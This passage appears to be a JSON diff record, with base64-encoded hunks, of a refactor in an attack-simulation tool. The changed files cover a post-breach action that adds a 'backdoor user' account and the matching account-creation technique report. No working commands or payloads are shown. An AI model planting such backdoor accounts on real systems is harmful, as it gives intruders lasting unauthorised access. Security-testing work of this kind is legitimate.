FUSU9OJTIwJTNEJTIwJTVDJTIyTW9kaWZ5JTIwc2hlbGwlMjBzdGFydHVwJTIwZmlsZSU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX0hJRERFTl9GSUxFUyUyMCUzRCUyMCU1QyUyMkhpZGUlMjBmaWxlcyUyMGFuZCUyMGRpcmVjdG9yaWVzJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSUyQyUyMmIlMjIlM0E0JTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E1JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBNCU3RCU3RCU3RCU3RA=="
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTIwJTNEJTIwJTVDJTIyQ29tbXVuaWNhdGUlMjBhcyUyMG5ldyUyMHVzZXIlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTJDJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyMCUzRCUyMCU1QyUyMkJhY2tkb29yJTIwdXNlciU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjJQT1NUX0JSRUFDSF9CRF9VU0VSJTIwJTNEJTIwJTVDJTIyQmFja2Rvb3IlMjB1c2VyJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX0ZJTEVfRVhFQ1VUSU9OJTIwJTNEJTIwJTVDJTIyRmlsZSUyMGV4ZWN1dGlvbiU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTMlMkMlMjJiJTIyJTNBMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX1NIRUxMX1NUQVJUVVBfRklMRV9NT0RJRklDQVRJT04lMjAlM0QlMjAlNUMlMjJNb2RpZnklMjBzaGVsbCUyMHN0YXJ0dXAlMjBmaWxlJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNCUyQyUyMmIlMjIlM0E0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwUE9TVF9CUkVBQ0hfSElEREVOX0ZJTEVTJTIwJTNEJTIwJTVDJTIySGlkZSUyMGZpbGVzJTIwYW5kJTIwZGlyZWN0b3JpZXMlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1JTJDJTIyYiUyMiUzQTUlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTUlN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E1JTdEJTdEJTdEJTdE"
]
},
"monkey/infection_monkey/post_breach/actions/add_user.py": {
"index": [
- "58be89a1..1e915d2e",
+ "58be89a1..a35f59fe",
"100644"
],
"fileA": "monkey/infection_monkey/post_breach/actions/add_user.py",
"fileB": "monkey/infection_monkey/post_breach/actions/add_user.py",
"status": "MODIFIED",
"numLineDeletions": 9,
- "numLineAdditions": 1,
+ "numLineAdditions": 6,
"hunkContainers": [
- "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDMTUlMjAlMkIxJTJDNyUyMCU0MCU0MCUyMiUyQyUyMmNoYW5nZXMlMjIlM0ElNUIlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyZnJvbSUyMGNvbW1vbi5kYXRhLnBvc3RfYnJlYWNoX2NvbnN0cyUyMGltcG9ydCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMmZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LmNvbmZpZyUyMGltcG9ydCUyMFdvcm1Db25maWd1cmF0aW9uJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnBvc3RfYnJlYWNoLnBiYSUyMGltcG9ydCUyMFBCQSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTMlMkMlMjJiJTIyJTNBMSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnV0aWxzLnVzZXJzJTIwaW1wb3J0JTIwZ2V0X2NvbW1hbmRzX3RvX2FkZF91c2VyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNCUyQyUyMmIlMjIlM0EyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSUyQyUyMmIlMjIlM0EzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNiUyQyUyMmIlMjIlM0E0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwY2xhc3MlMjBCYWNrZG9vclVzZXIoUEJBKSUzQSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTclMkMlMjJiJTIyJTNBNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMGRlZiUyMF9faW5pdF9fKHNlbGYpJTNBJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOCUyQyUyMmIlMjIlM0E2JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZHMlMkMlMjB3aW5kb3dzX2NtZHMlMjAlM0QlMjBnZXRfY29tbWFuZHNfdG9fYWRkX3VzZXIoJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBXb3JtQ29uZmlndXJhdGlvbi51c2VyX3RvX2FkZCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFdvcm1Db25maWd1cmF0aW9uLnJlbW90ZV91c2VyX3Bhc3MpJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3VwZXIoQmFja2Rvb3JVc2VyJTJDJTIwc2VsZikuX19pbml0X18oJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZCUzRCclMjAnLmpvaW4obGludXhfY21kcyklMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB3aW5kb3dzX2NtZCUzRHdpbmRvd3NfY21kcyklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHBhc3MlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0E3JTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0ExNSU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTclN0QlN0QlN0QlN0Q="
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDMTUlMjAlMkIxJTJDMTIlMjAlNDAlNDAlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMmZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjBQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjJmcm9tJTIwaW5mZWN0aW9uX21vbmtleS5jb25maWclMjBpbXBvcnQlMjBXb3JtQ29uZmlndXJhdGlvbiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjJmcm9tJTIwY29tbW9uLmRhdGEucG9zdF9icmVhY2hfY29uc3RzJTIwaW1wb3J0JTIwUE9TVF9CUkVBQ0hfQkRfVVNFUiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBmcm9tJTIwaW5mZWN0aW9uX21vbmtleS5wb3N0X2JyZWFjaC5wYmElMjBpbXBvcnQlMjBQQkElMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EzJTJDJTIyYiUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBmcm9tJTIwaW5mZWN0aW9uX21vbmtleS51dGlscy51c2VycyUyMGltcG9ydCUyMGdldF9jb21tYW5kc190b19hZGRfdXNlciUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTUlMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTYlMkMlMjJiJTIyJTNBNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGNsYXNzJTIwQmFja2Rvb3JVc2VyKFBCQSklM0ElMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3JTJDJTIyYiUyMiUzQTYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjBkZWYlMjBfX2luaXRfXyhzZWxmKSUzQSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTglMkMlMjJiJTIyJTNBNyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBsaW51eF9jbWRzJTJDJTIwd2luZG93c19jbWRzJTIwJTNEJTIwZ2V0X2NvbW1hbmRzX3RvX2FkZF91c2VyKCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTklN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwV29ybUNvbmZpZ3VyYXRpb24udXNlcl90b19hZGQlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBXb3JtQ29uZmlndXJhdGlvbi5yZW1vdGVfdXNlcl9wYXNzKSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHN1cGVyKEJhY2tkb29yVXNlciUyQyUyMHNlbGYpLl9faW5pdF9fKCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBsaW51eF9jbWQlM0QnJTIwJy5qb2luKGxpbnV4X2NtZHMpJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwd2luZG93c19jbWQlM0R3aW5kb3dzX2NtZHMpJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBsaW51eF9jbWRzJTJDJTIwd2luZG93c19jbWRzJTIwJTNEJTIwZ2V0X2NvbW1hbmRzX3RvX2FkZF91c2VyKCklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0E4JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3VwZXIoQmFja2Rvb3JVc2VyJTJDJTIwc2VsZikuX19pbml0X18obmFtZSUzRFBPU1RfQlJFQUNIX0JEX1VTRVIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0E5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGludXhfY21kJTNEJyUyMCcuam9pbihsaW51eF9jbWRzKSUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwd2luZG93c19jbWQlM0R3aW5kb3dzX2NtZHMpJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0ExMiU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBMTUlN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0ExMiU3RCU3RCU3RCU3RA=="
]
},
"monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": {
"index": [
- "086a1c13..ae78173d",
+ "086a1c13..5cd02834",
"100644"
],
"fileA": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py",
@@ -46,41 +46,27 @@
"numLineDeletions": 3,
"numLineAdditions": 2,
"hunkContainers": [
- "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM0JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjJmcm9tJTIwY29tbW9uLmRhdGEucG9zdF9icmVhY2hfY29uc3RzJTIwaW1wb3J0JTIwKCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjJmcm9tJTIwY29tbW9uLmRhdGEucG9zdF9icmVhY2hfY29uc3RzJTIwaW1wb3J0JTIwKFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBmcm9tJTIwbW9ua2V5X2lzbGFuZC5jYy5zZXJ2aWNlcy5hdHRhY2sudGVjaG5pcXVlX3JlcG9ydHMucGJhX3RlY2huaXF1ZSUyMGltcG9ydCUyMCU1QyU1QyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTMlMkMlMjJiJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMFBvc3RCcmVhY2hUZWNobmlxdWUlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0JTJDJTIyYiUyMiUzQTMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1JTJDJTIyYiUyMiUzQTQlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTUlN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E0JTdEJTdEJTdEJTdE",
- "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xMSUyQzQlMjAlMkIxMCUyQzQlMjAlNDAlNDAlMjBjbGFzcyUyMFQxMTM2KFBvc3RCcmVhY2hUZWNobmlxdWUpJTNBJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMHVuc2Nhbm5lZF9tc2clMjAlM0QlMjAlNUMlMjJNb25rZXklMjBkaWRuJ3QlMjB0cnklMjBjcmVhdGluZyUyMGElMjBuZXclMjB1c2VyJTIwb24lMjB0aGUlMjBuZXR3b3JrJ3MlMjBzeXN0ZW1zLiU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTExJTJDJTIyYiUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwc2Nhbm5lZF9tc2clMjAlM0QlMjAlNUMlMjJNb25rZXklMjB0cmllZCUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMlMkMlMjBidXQlMjBmYWlsZWQuJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlMkMlMjJiJTIyJTNBMTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjB1c2VkX21zZyUyMCUzRCUyMCU1QyUyMk1vbmtleSUyMGNyZWF0ZWQlMjBhJTIwbmV3JTIwdXNlciUyMG9uJTIwdGhlJTIwbmV0d29yaydzJTIwc3lzdGVtcy4lNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMyUyQyUyMmIlMjIlM0ExMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjBwYmFfbmFtZXMlMjAlM0QlMjAlNUJQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTJDJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlNUQlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3R